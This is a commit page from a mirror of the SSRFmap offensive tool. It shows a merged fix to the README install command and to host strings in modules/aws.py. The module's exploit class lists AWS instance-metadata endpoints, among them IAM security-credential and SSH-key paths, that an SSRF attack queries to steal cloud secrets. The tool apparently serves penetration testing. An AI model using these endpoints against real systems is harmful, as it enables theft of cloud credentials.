swisskyrepo
/
SSRFmap
mirror of https://github.com/swisskyrepo/SSRFmap.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #9 from derpadoo/aws.py-fix 

aws.py url fix
pull/18/head
Swissky 2019-01-31 08:15:24 +01:00 committed by GitHub
parent c17dcf0754 84df20064f
commit 73555779a4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 13 additions and 13 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
README.md
View File

@ -11,7 +11,7 @@ Basic install from the Github repository.
```powershell
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
pip3 install requirements.txt
pip3 install -r requirements.txt
python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [--lhost LHOST] [--lport LPORT] [--level LEVEL]

24
modules/aws.py
View File

@ -48,15 +48,15 @@ class exploit():
def add_endpoints(self):
self.endpoints.add( ("169.254.169.254/","latest/user-data") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/ami-id") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/reservation-id") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/hostname") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/0/openssh-key") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/1/openssh-key") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/2/openssh-key") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/iam/security-credentials/dummy") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/iam/security-credentials/ecsInstanceRole") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/iam/security-credentials/") )
self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/") )
self.endpoints.add( ("169.254.169.254/","latest/user-data/") )
self.endpoints.add( ("169.254.169.254","latest/user-data") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/") )
self.endpoints.add( ("169.254.169.254","latest/user-data/") )